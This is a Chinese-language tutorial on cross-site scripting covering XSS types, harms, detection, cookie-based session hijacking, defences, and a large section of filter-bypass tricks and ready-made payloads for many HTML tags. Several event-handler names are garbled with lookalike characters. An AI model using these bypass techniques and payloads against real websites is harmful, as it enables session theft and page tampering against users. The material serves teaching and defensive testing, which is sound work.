原理
攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行,将用户的信息发送给攻击者。
分类
反射型
反射型XSS也被称为非持久性XSS,是现在最容易出现的一种 XSS 漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS 代码的数据发送到浏览器,浏览器解析这段带有XSS 代码的数据后,最终造成XSS 漏洞。这个过程就像一次反射,故称为反射型XSS。
存储型
允许用户存储数据的 Web应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当用户访问该应用程序时,这段XSS代码被程序读出来响应给浏览器,造成XSS 跨站攻击,这就是存储型 XSS。
DOM型
DOM的全称为Document Object Model,即文档对象模型,DOM 通常用于代表在HTML、XHTML和XML中的对象。使用 DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。通过JavaScript可以重构整个HTML页面,而要重构页面或者页面中的某个对象, JavaScript就需要知道HTML 文档中所有元素的“位置”。而 DOM 为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构。根据DOM规定,HTML 文档中的每个成分都是一个节点。
危害
1.网站挂马
2.盗取用户Cookie
3.修改网页内容4.利用网站重定向
5.XSS蠕虫
检测XSS
手工检测
1、找到能够输入的所有地方。
2、在输入的地方输入特殊字符,确保能观察到其输出的地方。
3、根据输出的格式,分析服务器对数据的过滤处理方式,设计可能绕过的payload进行绕过测试。
4、当无法得知输出位置时,可使用 "/>XSS Test" 来测试。
自动检测
像之前使用过的APPSCAN、AWVS、Burp Suite等软件,都可以有效地检测XSS跨站漏洞,但这类大型漏扫工具除检测XSS外,还会检测 SQL注射、文件包含、应用程序错误等漏洞。虽然这类大型漏扫可以配置只检测XSS,但却不如专业的XSS检测工具效率高。
专业的XSS扫描工具有很多,像有名的XSSER、XSSF 都是不错的选择。也有安全爱好者制作了扫描XSS漏洞的Web服务,如: http://www.domxssscanner.com/,专门用来扫描DOM类型的XSS,在提交留言时可能需要短信验证、验证码填写等,工具是无法做到的。
利用方式
会话劫持
条件:服务器仅使用Cookie作为用户身份验证信息。
原理:利用XSS攻击获取用户验证登录后的cookie信息,在cookie信息没有失效前,攻击者利用用户的cookie信息去登陆用户的账号,无需用户名和密码。
防御方法:添加HttpOnly(添加了HttpOnly的Cookie将不会被浏览器获取)。
XSS平台
XSSPlatform:是一款XSS漏洞利用代码组合成的框架,其中包括最基本的获取Cookie、获取HTML代码、键盘记录、基础认证钓鱼等功能。
防御
过滤:对于用户输入的敏感字符进行过滤。
转义:利用htmlspecialchars()函数把预定义的字符转换为 HTML 实体:
编码:对用户输入的数据进行实体编码。
当用户输入由href属性输出时
1、检查用户输入,必须以http或者https开头。
2、进行html实体编码
添加HttpOnly字段
绕过
常见过滤绕过方法
空格过滤:当空格被过滤了时,我们可以用
/
来代替空格:引号过滤:如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号。<img src=x οnerrοr=alert(`xss`);>
括号过滤:当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。<img src=x οnerrοr="javascript:window.οnerrοr=alert;throw 1">
关键字过虑
双写:有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过。<scrscriptipt>alert(1);</scrscriptipt>
大小写:<sCRiPt>alert(1);</sCrIpT>
字符串拼接绕过:利用eval()函数,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。<img src="x" οnerrοr="a='aler';b='t';c='(1)';eval(a+b+c)"> <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
编码绕过:Unicode编码绕过、url编码绕过、Ascii码绕过、hex绕过、base64绕过
过滤url地址:
使用url编码:<img src="x" οnerrοr=document.location=`http://%77%77%77%2e %62%61%69%64%75%2e%63%6f%6d/`>
使用IP:十进制IP、八进制IP、hex、html标签中用//可以代替http://、使用\\(在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议)、使用中文逗号代替英文逗号(如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号)
单引号闭合+htmlspecialchars函数绕过:'οnmοuseοver='alert(/xss/)
JavaScript伪协议:"><a href=javascript:alert(/xss/)> o_n和<scr_ipt>过滤
常见的payload
1.script标签
<script>alert(1);</script>
<script>alert("xss");</script>
2.img 标签
<img src=1 οnerrοr=alert(1);>
<img src=1 οnerrοr=alert("xss");>
3.input标签
<input οnfοcus=alert(1);> onfocus 事件在对象获得焦点时发生
<input οnblur=alert(1) autofocus><input autofocus> 竞争焦点,从而触发onblur事件:
input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发。
4.details 标签
<details οntοggle=alert(1);>
<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发。
<details open οntοggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发。
5.svg 标签
<svg οnlοad=alert(1);>
<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。
6.select 标签
<select οnfοcus=alert(1)></select> <select> 标签用来创建下拉列表。
<select οnfοcus=alert(1) autofocus>
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发。
7.iframe 标签
<iframe οnlοad=alert(1);></iframe>
<iframe> 标签会创建包含另外一个文档的内联框架。
8.video 标签
<video><source οnerrοr=alert(1)>
<video> 标签定义视频,比如电影片段或其他视频流。
9.audio 标签
<audio src=x οnerrοr=alert(1);>
<audio> 标签定义声音,比如音乐或其他音频流。
10.body 标签
<body οnlοad=alert(1);> <body> 标签定义文档的主体。
<body
οnscrοll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发。
11.textarea 标签
<textarea οnfοcus=alert(1); autofocus>
<textarea> 标签定义一个多行的文本输入控件。